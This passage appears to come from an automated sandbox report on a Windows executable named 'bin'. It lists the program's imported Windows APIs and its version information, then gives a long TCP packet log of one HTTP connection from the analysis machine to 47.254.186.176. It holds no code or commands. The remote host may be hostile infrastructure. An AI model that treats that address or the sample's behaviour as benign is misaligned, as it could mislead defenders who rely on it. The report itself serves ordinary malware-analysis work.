GetCurrentThread, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, TlsAlloc, GetModuleHandleW, FormatMessageW, CreateFileW, GetFileInformationByHandle, DeviceIoControl, ReadFile, SetFilePointerEx, FindNextFileW, CreateDirectoryW, InitializeCriticalSection, TryEnterCriticalSection, LeaveCriticalSection, EnterCriticalSection, ExitProcess, QueryPerformanceCounter, QueryPerformanceFrequency, DeleteFileW, RemoveDirectoryW, FindFirstFileW, FindClose, CreateThread, WakeConditionVariable, PostQueuedCompletionStatus, SleepConditionVariableSRW, GetConsoleOutputCP, FlushFileBuffers, HeapSize, GetStringTypeW, GetFileType, SetStdHandle, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, WideCharToMultiByte, MultiByteToWideChar, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindFirstFileExW, GetCommandLineW, GetCommandLineA, GetModuleHandleExW, GetModuleFileNameW, RaiseException, LoadLibraryExW, FreeLibrary, TlsFree, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, GetCurrentThreadId, GetCurrentProcessId, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter
ole32.dll	CoInitializeEx, CoCreateInstance, CoUninitialize
Secur32.dll	ApplyControlToken, AcceptSecurityContext, InitializeSecurityContextW, FreeCredentialsHandle, EncryptMessage, AcquireCredentialsHandleA, QueryContextAttributesW, FreeContextBuffer, DeleteSecurityContext, DecryptMessage
SHELL32.dll	ShellExecuteExA
USER32.dll	GetForegroundWindow, GetDlgItem, SendMessageA
WS2_32.dll	getpeername, WSAGetLastError, WSAIoctl, shutdown, closesocket, WSASocketW, ioctlsocket, setsockopt, connect, getsockopt, bind, getaddrinfo, freeaddrinfo, WSAStartup, WSACleanup, recv, send, WSASend

Version Infos

Description	Data
FileVersion	0.1.0
ProductVersion	0.1.0
ProductName	bin
Translation	0x0000 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 13, 2021 14:37:12.582070112 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.604038000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.604116917 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.606484890 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.626066923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.797759056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.797785044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.797859907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.798428059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.798445940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.798537016 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.800095081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.800124884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.800209999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.801419020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.801439047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.801503897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.803069115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.803091049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.803141117 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.816220045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.816246033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.816318989 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.817795038 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.817811966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.817883015 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.819233894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.820031881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.820101976 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.820839882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.822329044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.822349072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.822382927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.822735071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.822777987 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.823753119 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.823774099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.823832035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.825392008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.825412035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.825475931 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.826878071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.826939106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.826994896 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.828409910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.828430891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.828494072 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.829786062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.829808950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.829864025 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.834724903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.835413933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.835433960 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.835473061 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.836781979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.836805105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.836838007 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.838082075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.838105917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.838203907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.839284897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.839303970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.839365005 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.840698957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.840718985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.840768099 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.841783047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.841801882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.841850042 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.843132019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.843164921 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.843193054 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.844336033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.844388008 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.844466925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.845558882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.845582962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.845633984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.846673965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.846760035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.846770048 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.847965956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.847995996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.848047018 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.848737955 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.848828077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.849209070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.849651098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.849714994 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.850327015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.850420952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.850469112 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.851356983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.851392031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.851440907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.852224112 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.852255106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.852315903 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.853353024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.853377104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.853458881 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.854413033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.854438066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.854506016 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.855417013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.855449915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.855521917 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.856293917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.856343031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.856401920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.857016087 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.857286930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.857352018 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.857965946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.858031988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.858113050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.858329058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.858422995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.858474970 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.859661102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.859704971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.859736919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.859767914 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.859782934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.859817982 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.860435009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.860470057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.860501051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.860551119 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.861361027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.861396074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.861427069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.861449957 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.861474991 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.862426996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.862462044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.862493038 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.862514973 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.863337040 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.863404036 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.863514900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.863630056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.863683939 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.864207029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.864260912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.864295959 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.864314079 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.865777016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.865813017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.865854025 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.866379023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.866414070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.866456985 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.866888046 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.866906881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.866949081 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.867311001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.867338896 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.867367029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.867405891 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.867434978 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.868356943 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.868385077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.868410110 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.868451118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.869477987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.869508028 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.869548082 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.869570971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.869620085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.870696068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.870731115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.870793104 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.871701002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.871741056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.871814013 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.873020887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.873070955 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.873141050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.873490095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.873645067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.873723984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.874353886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.874397039 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.874459982 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.875286102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.875339985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.875403881 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.876080036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.876166105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.876230001 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.876266956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.876298904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.876348019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.877857924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.877899885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.877938986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.877965927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.879053116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879095078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879153967 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.879170895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879220009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879237890 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.879276991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879390955 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.879847050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879889011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879925966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.879950047 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.880424023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.880466938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.880503893 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.881419897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.881469965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.881509066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.881529093 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.881576061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.881586075 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.883672953 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.883723974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.883763075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.883779049 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.883800983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.883809090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.885121107 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885164022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885201931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885226965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885384083 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.885452986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885493994 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885529041 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.885531902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885570049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.885596991 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.887227058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.887276888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.887315989 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.887346983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.887411118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.887455940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.888644934 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.888683081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.888719082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.888757944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.888778925 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.888828039 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.889626980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.889703989 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.889854908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.890872002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.890914917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.890957117 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.891385078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.891426086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.891475916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.892174006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.892256975 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.892306089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894139051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894176006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894222975 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894258976 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.894263983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894311905 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.894390106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.894459009 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.895808935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.895850897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.895889997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.895952940 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.897015095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897067070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897102118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.897551060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897589922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897629976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897629023 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.897666931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897703886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897708893 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.897742033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.897774935 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.898590088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.898628950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.898674965 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.899332047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.899380922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.899422884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.899439096 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.899460077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.901443005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.901521921 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.901524067 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.901546955 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.903172016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903217077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903254986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903279066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.903290987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903327942 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903335094 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.903353930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.903398037 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.904989004 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905038118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905066013 CEST	49710	80	192.168.2.3	47.254.186.176
